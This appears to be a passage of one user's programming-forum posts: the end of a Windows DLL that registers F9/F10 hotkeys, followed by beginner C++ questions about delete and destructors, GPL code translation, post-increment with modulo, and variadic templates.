            else if(msg.wParam == F10_KEYID)
            {
                MessageBoxA(0, "F10 Pressed", "DLL Message", MB_OK | MB_ICONINFORMATION);
            }
    }
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            // attach to process
            // return FALSE to fail DLL load
                RegisterHotKey(0, F9_KEYID, 0x4000, VK_F9);
                RegisterHotKey(0, F10_KEYID, 0x4000, VK_F10);
                Meh();
            break;

        case DLL_PROCESS_DETACH:
            // detach from process
            break;

        case DLL_THREAD_ATTACH:
            // attach to thread
            break;

        case DLL_THREAD_DETACH:
            // detach from thread
            break;
    }
    return TRUE; // succesful
}
triumphost 120 Posting Whiz

Was confused about putting it in the destructor but not anymore! I'm going to mark this as solved. Everything I ever wanted to know and was going to ask and more has been answered by the two above.

Thank you guys! Rep+ for both.

triumphost 120 Posting Whiz

so.. if I do:

int main()
{
  Point P = new Point();
  delete P;   //Needed? Or can I just put it in the destructor if it is even needed..
}

should I use Point P = new Point(); or just Point P = Point(0, 0);
triumphost 120 Posting Whiz

When do I really need to use Delete in Destructors?

if I do Point P = new Point();

I've been told every time I use new, it stays in memory even when out of scope and that I should use delete to remove it.. so do i need to do Delete P?

The thing is, shouldn't the destructor take care of it? Also when the program terminates, wouldn't it free?

also I have:

class PA				//array of P..
{
	private:
		vector<P> DataHolder;
	public:
		PA() {}
		PA(P) : DataHolder.push_back(P) {}
		PA(....)
		{
			//push back all values in the elipsis..
		}
		
		~PA()
		{
			//Do I need a delete in a for loop here?
		}
};

P.S. what is the difference between new [] and new.. and delete [] and delete? One is for arrays?

triumphost 120 Posting Whiz

I did not know WHERE to ask this as there is no "General" section on the site this site that I know of.

Lets say I found code online but it's under the GPL 3 License.. I read it but it doesn't say that I cannot translate it from Pascal to C++ (I won't be doing it, but I'm just wonder)

Am I stealing if I translate it? What are the actual laws on copyrighting code because it really isn't clear to me :S

triumphost 120 Posting Whiz

But if the ++ executes before % then should the answer be 2??

V1++ would equal 6 before the modulo happens

triumphost 120 Posting Whiz

That makes sense.. but why is it 3 if the ++ operator comes before % operator?

//If I do:

cout<<v2 % v1;  //it prints 3..

//if I do:

cout<<v2 % v1++; //it still prints 3.. wth?

EDIT:

I come to the understanding that the ++ will get done the next time ans is called..
so:

int V = 5;
cout<< V++;  //prints 5..
cout<< V;    //prints 6..
cout<< ans;  //Prints 3..
cout<< ans;  //Prints 2..

since the ++ was applied for the next time it's called.. but this has to be wrong since ++ is always done before modulo.. :S

triumphost 120 Posting Whiz

Am I wrong that the answer is 2?? Teacher refuses and says that it's 3 because the compiler spits out 3 for ans.. but if I do it manually with pen an paper or with the cout<<v2%v1++, it spits out 2 which is what I get on paper..

#include <iostream>

using namespace std;

int main()
{
    int ans = 0, v2 = 8, v1 = 5;
    ans = v2 % v1++;
    cout<<(ans);                    //This prints out 3..
    cout<<(v2 % v1++);            //This prints out 2..
    cin.get();
    return 0;
}

I tried it in java and C#.. and it spits out 2 and 3.. every time..

triumphost 120 Posting Whiz

Uhh well that's the thing.. I want to allow "empty parameters" and that's why I need to check.. so that I can do:

class DoStuff
{
	private:
		void Insert(){}
		vector<Types> Meh;
		
	public:
	    DoStuff() {}           //This constructor doesn't get kicked in due to the one below it..
		
        template<typename T, typename... Args>
        DoStuff& Insert(T First, const Args... Remaining)
        {
           if !(Template parameter empty)
           {
            this->Meh.push_back(First);    //Error will be here if it's empty..
            Insert(Remaining...);
           }
           else
             Meh.push_back(i(0));
        }
}

int main()
{
    DoStuff P();   //This should be DoStuff P;    I just solved it but learned lots from your posts above.. THANKS! +1
}

I'll check out what you guy's suggested. And it doesn't matter if you're wrong lately. I seriously appreciate the reply :)

DoStuff P(); //This should be DoStuff P; I just solved it but learned lots from your posts above.. THANKS! +1

triumphost 120 Posting Whiz

How can I check if a template's parameter is empty? Or of a "certain type"?

I'd prefer to check if it's empty or not rather than the type because if the wrong type is entered, it'd throw an error anyway..

But I definitely need to know if the parameter passed to the template is blank.

Why?

My Code:

void Insert() {/*Just for recurssion*/  /* Provided by Deceptikon */}
        template<typename T, typename... Args>
        DOSTUFF& Insert(T First, const Args... Remaining)
        {
            this->Meh.push_back(First);    //Error will be here if it's empty..
            Insert(Remaining...);
            return *this;
        }

So again.. Three questions:

1. How do I check the Template's parameter type?
2. How do I restrict the Template's parameter to a specific type only? //Though this breaks the purpose of a template ={
3. How do I check if the Template's Parameter is Blank/Null/Empty?